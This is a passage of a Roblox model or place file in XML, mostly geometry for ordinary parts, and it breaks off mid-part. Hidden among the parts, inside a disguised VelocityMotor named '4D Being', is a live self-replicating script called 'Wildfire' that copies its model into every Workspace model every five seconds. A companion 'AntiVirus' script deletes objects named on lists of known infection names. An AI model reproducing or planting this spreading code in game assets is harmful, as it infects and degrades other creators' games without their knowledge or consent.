						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>6</X>
							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX816">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>44.5</X>
							<Y>9.39999962</Y>
							<Z>59</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>3.60000014</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="VelocityMotor" referent="RBX817">
				<Properties>
					<CoordinateFrame name="C0">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<CoordinateFrame name="C1">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<float name="CurrentAngle">0</float>
					<float name="DesiredAngle">0</float>
					<Ref name="Hole">null</Ref>
					<float name="MaxVelocity">0</float>
					<string name="Name">4D Being</string>
					<Ref name="Part0">null</Ref>
					<Ref name="Part1">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX818">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">l = Instance.new(&quot;VelocityMotor&quot;)
l.Parent = script.Parent
l.Name = &quot;4D Being&quot;
script.Parent = l
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX819">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">4D Being</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX820">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wildfire</string>
								<string name="Source">function dive()


p= game.Workspace:GetChildren()	


for i= 1, #p do				


if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;4D Being&quot;) == nil then


script.Parent.Parent:clone().Parent = p[i]


end


end


end





while true do


wait(5)


dive()


end


</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX821">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">AntiVirus</string>
								<string name="Source">maliciousscripts = {&quot;Infected&quot;, &quot;Anti-Lag&quot;}
maliciousobjects = {&quot;OHAI&quot;, &quot;No samurai plzzz&quot;, &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;, &quot;IMDOINGITOKSODONTKILLMENOW&quot;}
maliciousclasses = {&quot;Geometry&quot;, &quot;Timer&quot;}
hiddenclasses = {&quot;AutoJoint&quot;, &quot;BackpackItem&quot;, &quot;Feature&quot;, &quot;Glue&quot;, &quot;HtmlWindow&quot;, &quot;JointInstance&quot;, &quot;LocalBackpack&quot;, &quot;LocalBackpackItem&quot;, &quot;MotorFeature&quot;, &quot;Mouse&quot;, &quot;Rotate&quot;, &quot;RotateP&quot;, &quot;RotateV&quot;, &quot;Snap&quot;, &quot;StockSound&quot;, &quot;VelocityMotor&quot;, &quot;Weld&quot;}

--set these three variables to your liking
local printAll = false
local fullscan = true
local doublescan = false
--set these three variables to your liking

--Type &quot;ScanForViruses(model,0,true)&quot; to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type &quot;ScanForViruses(model,0,false)&quot; to reveal all scripts.

function getAncestry(i)
	local s = &quot;&quot;
	local p = i.Parent
	s = p.Name
	while p ~= game do
		p = p.Parent
		s = p.Name..&quot;.&quot;..s
	end
	return s
end

function Check(i,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if i == nil then return end
	if printAll then print(s..&quot;Checking &quot;..i.Name) end
	if i == script then return end --don&apos;t need to check self, will still check children of self
	if i.className == &quot;Script&quot; then
		for x = 1, #maliciousscripts do
			if i.Name == maliciousscripts[x] then
--				print(&quot;Malicious script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --&quot;Infected&quot; scripts. Do I need to say more?
				i:Remove()
				return
			end
		end
		if i.Parent ~= nil and w == false then
--			print(&quot;Script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;)
		end
	end
	for x = 1, #maliciousobjects do
		if i.Name == maliciousobjects[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --Unlikely that people will give a legitimate object a name used on the malicious object list
			i:Remove()
			return
		end
	end
	for x = 1, #maliciousclasses do
		if i.className == maliciousclasses[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --unlikely to be useful, likely to be malicious and removed
			i:Remove()
			return
		end
	end
	for x = 1, #hiddenclasses do
		if (hiddenclasses[x] == &quot;Rotate&quot; or hiddenclasses[x] == &quot;Weld&quot; or hiddenclasses[x] == &quot;Snap&quot; or hiddenclasses[x] == &quot;Glue&quot; or hiddenclasses[x] == &quot;Motor&quot; or hiddenclasses[x] == &quot;AutoJoint&quot; or hiddenclasses[x] == &quot;JointInstance&quot; or hiddenclasses[x] == &quot;MotorFeature&quot; or hiddenclasses[x] == &quot;VelocityMotor&quot;) and i.Parent == game.JointsService then
			--do not notify of these
		else
			if i.className == hiddenclasses[x] then
--				print(&quot;Hidden object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --not necessarily malicious, but may be. Remove only if you didn&apos;t except the object to be in there
			end
		end
	end
end

_G[&quot;ScanForViruses&quot;] = function(m,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if m == nil then return end
	if m == game.Stats then return end
	if m.Name == &quot;GuiRoot&quot; and m.Parent == game then return end
	if printAll then print(s..&quot;Scanning children of &quot;..m.Name) end
	local c = m:getChildren()
	if #c &gt; 0 then
		for i = 1,#c do
			Check(c[i],n+1,w)
			if (c[i] == game.Workspace) then
				ScanForViruses(c[i],n+1,true)
			else
				ScanForViruses(c[i],n+1,w)
			end
		end
	end
end

ScanForViruses(game.Workspace,1,true)
ScanForViruses(game.Players,1,true)
ScanForViruses(game.Lighting,1,true)
ScanForViruses(game.StarterPack,1,true)
ScanForViruses(game:findFirstChild(&quot;Teams&quot;),1,true)
ScanForViruses(game.Soundscape,1,true)

--print(&quot;QuickScan Complete&quot;)

if fullscan then wait(5) ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)

if doublescan then ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX822">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>224.5</X>
					<Y>4.4000001</Y>
					<Z>118.800003</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>1</R12>
					<R20>0</R20>
					<R21>-1</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>61</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX823">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>180.4375</X>
					<Y>0.984263599</Y>
					<Z>185.1875</Z>
					<R00>0.999999881</R00>
					<R01>9.18513265e-008</R01>
					<R02>0.00042716178</R02>
					<R10>-8.90595757e-008</R10>
					<R11>1</R11>
					<R12>-6.53561528e-006</R12>
					<R20>-0.00042716178</R20>
					<R21>6.53557709e-006</R21>
					<R22>0.999999881</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00166351406</X>
					<Y>4.25588187e-005</Y>
					<Z>0.000759708404</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00269283145</X>
					<Y>0.0443198085</Y>
					<Z>-0.000642832078</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>9</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX824">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>193.800003</X>
					<Y>4.4000001</Y>
					<Z>52.0000038</Z>
					<R00>3.05173453e-005</R00>
					<R01>-1</R01>
					<R02>3.05171125e-005</R02>
					<R10>3.05174617e-005</R10>
					<R11>3.05174617e-005</R11>
					<R12>1</R12>
					<R20>-1</R20>
					<R21>-3.05172289e-005</R21>
					<R22>3.05173453e-005</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>42</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX825">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>193.800003</X>
					<Y>4.4000001</Y>
					<Z>99</Z>
					<R00>0</R00>
					<R01>-1</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>1</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>38</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX826">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX827">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">37</int>
					<CoordinateFrame name="CFrame">
						<X>129</X>
						<Y>9.19999981</Y>
						<Z>52</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>8</X>
						<Y>6</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX828">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">37</int>
					<CoordinateFrame name="CFrame">
						<X>132</X>
						<Y>1.60000014</Y>
						<Z>52</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>8</X>
						<Y>2.4000001</Y>
						<Z>8</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX829">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">37</int>
					<CoordinateFrame name="CFrame">
						<X>133</X>
						<Y>4</Y>
						<Z>55</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>6</X>
						<Y>2.4000001</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX830">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">37</int>
					<CoordinateFrame name="CFrame">
						<X>133</X>
						<Y>4</Y>
						<Z>49</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>6</X>
						<Y>2.4000001</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Model" referent="RBX831">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX832">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">37</int>
						<CoordinateFrame name="CFrame">
							<X>139</X>
							<Y>1</Y>
							<Z>53.5</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
